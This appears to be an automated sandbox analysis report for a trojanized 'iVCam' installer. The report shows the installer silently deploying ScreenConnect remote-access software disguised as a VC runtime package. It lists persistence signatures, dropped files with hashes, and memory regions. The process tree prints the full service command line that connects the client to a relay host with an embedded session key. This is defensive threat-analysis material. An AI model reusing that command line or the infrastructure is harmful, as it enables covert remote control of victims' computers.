Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/07/2026, 06:04

General

  • Target
    ivcam/iVCam_x64_v7.4.0.exe
  • Size 505KB
  • Sample260710-gs2ktaft21
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 24 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 24 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ivcam\iVCam_x64_v7.4.0.exe
    "C:\Users\Admin\AppData\Local\Temp\ivcam\iVCam_x64_v7.4.0.exe"
    1⤵
    • Checks for any installed AV software in registry
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Users\Admin\AppData\Local\Temp\0ea4aab3.exe
      "C:\Users\Admin\AppData\Local\Temp\0ea4aab3.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4116
      • C:\Users\Admin\AppData\Local\Temp\is-6KI6I.tmp\0ea4aab3.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-6KI6I.tmp\0ea4aab3.tmp" /SL5="$801CC,45808603,321024,C:\Users\Admin\AppData\Local\Temp\0ea4aab3.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4000
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DBDABBD2.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1756
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\5073E7C2.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3792
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 023169FC13436085C9859788F02FA2B5
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4044
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI5B69.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240671734 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5000
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7B831A51BFEAEC8C29FB10BE765E5D47 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2332
  • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=5e6f32bd-0134-402f-8322-37ba3b536688&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=ivcam&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3380
    • C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe" "RunRole" "db325a1d-b007-4bb2-ad4f-0dafb10423be" "User"
      2⤵
      • Executes dropped EXE
      PID:616

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5858dc.rbs

        • Path C:\Config.Msi\e5858dc.rbs
        • Size 214KB
        • SHA256 e64b0077cca4e9aa39ddd1785678e08978684df696ccdacaa85aeef782f8740b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.Override.resources
        • Size 4KB
        • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x86\system.config
        • Size 958B
        • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
        • MD5 SHA1 SHA512 TLSH

        0ea4aab3.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0ea4aab3.exe
        • Size 44.2MB
        • SHA256 6b195b20a40da4afa627e41c5c6bdba5cb59dc5efe2c484f77218ed82a7fda17
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DBDABBD2.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\DBDABBD2.tmp
        • Size 12.8MB
        • SHA256 b9b3095c002aa94edef93750a49bdf4104e1061bdf13d492a4bdc917fd87c96d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dxsetup_dbg.log

        • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
        • Size 879B
        • SHA256 43e7f9ef9acaaa63e99bd5c89ab2fd47c78826aa9969483c8290889feaa8102d
        • MD5 SHA1 SHA512 TLSH

        0ea4aab3.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\is-6KI6I.tmp\0ea4aab3.tmp
        • Size 1.3MB
        • SHA256 9cce716d82b72a99db601b466d1376ea797ec3a8f98b77b8b96c9a7abd2c291b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI5B69.tmp

        • Path C:\Windows\Installer\MSI5B69.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI5B69.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI5B69.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI637B.tmp

        • Path C:\Windows\Installer\MSI637B.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DXError.log

        • Path C:\Windows\Logs\DXError.log
        • Size 554B
        • SHA256 9b8edaadbd774b5f96cfe461d5f5324625ec57ac261a271b33c9e947eae2e3f8
        • MD5 SHA1 SHA512 TLSH

        03zfdpt3.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\03zfdpt3.newcfg
        • Size 584B
        • SHA256 17f6c1c30d3f0aaeab748af599412e84b5c17f1a84900b41186fcd6a87b90531
        • MD5 SHA1 SHA512 TLSH

        1am1f1s1.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\1am1f1s1.newcfg
        • Size 584B
        • SHA256 2c8e1d46cba29e00f144901fe6aa2a066f28482ee9ecc90fe7ad1b7f1c085e35
        • MD5 SHA1 SHA512 TLSH

        5bavr0lu.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\5bavr0lu.newcfg
        • Size 584B
        • SHA256 38303252809591e8ed0d140531d2b9a97ecf8edc520ed352b2a7cc6f104e761c
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
        • Size 584B
        • SHA256 50f0d9f0bf4efe376e8e7059046d339078ccd33ad24a01ebfcec61cb33c622bc
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
        • Size 584B
        • SHA256 20a6a21ab2d311810da8370327b40df8e0ae21a85b3a23f3b882d7d25a1e3f60
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
        • Size 584B
        • SHA256 2fcf343121566ea9eeea6b50b5fe45e641f33499fb95dc28d7c5821e6bc53535
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\user.config
        • Size 584B
        • SHA256 5e67bd0a9b0bfdab65f714357c06824f7d5435746d6f930127d1fe7ba3a602eb
        • MD5 SHA1 SHA512 TLSH

        ynj5jexo.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x86\ynj5jexo.newcfg
        • Size 584B
        • SHA256 999f656152b9285449ec554bd157e6829411e950c2c94a13de438911ce538523
        • MD5 SHA1 SHA512 TLSH

        memory/616-171-0x00000000022A0000-0x00000000022B8000-memory.dmp

        memory/616-166-0x000000001B260000-0x000000001B2EE000-memory.dmp

        memory/616-167-0x000000001B4A0000-0x000000001B64C000-memory.dmp

        memory/616-172-0x0000000002430000-0x0000000002448000-memory.dmp

        memory/616-168-0x000000001B650000-0x000000001B7D6000-memory.dmp

        memory/616-165-0x00000000022C0000-0x00000000022F6000-memory.dmp

        memory/616-164-0x00000000002A0000-0x0000000000338000-memory.dmp

        memory/3380-135-0x0000000001F40000-0x0000000001F58000-memory.dmp

        memory/3380-150-0x00000000046E0000-0x0000000004716000-memory.dmp

        memory/3380-155-0x0000000004B60000-0x0000000004C35000-memory.dmp

        memory/3380-153-0x0000000004720000-0x0000000004761000-memory.dmp

        memory/3380-151-0x0000000004980000-0x0000000004A12000-memory.dmp

        memory/3380-146-0x0000000004690000-0x00000000046E0000-memory.dmp

        memory/4000-185-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-245-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-299-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-297-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-200-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-295-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-215-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-20-0x00000000022C0000-0x00000000022C1000-memory.dmp

        memory/4000-230-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-280-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-243-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-187-0x00000000022C0000-0x00000000022C1000-memory.dmp

        memory/4000-278-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-259-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-261-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4000-276-0x0000000000400000-0x000000000055E000-memory.dmp

        memory/4116-11-0x0000000000400000-0x0000000000458000-memory.dmp

        memory/4116-184-0x0000000000400000-0x0000000000458000-memory.dmp

        memory/5000-90-0x0000000004A00000-0x0000000004A8E000-memory.dmp

        memory/5000-95-0x00000000053A0000-0x0000000005944000-memory.dmp

        memory/5000-86-0x00000000025E0000-0x00000000025EA000-memory.dmp

        memory/5000-82-0x00000000025A0000-0x00000000025CE000-memory.dmp

        memory/5000-94-0x0000000004C40000-0x0000000004DEC000-memory.dmp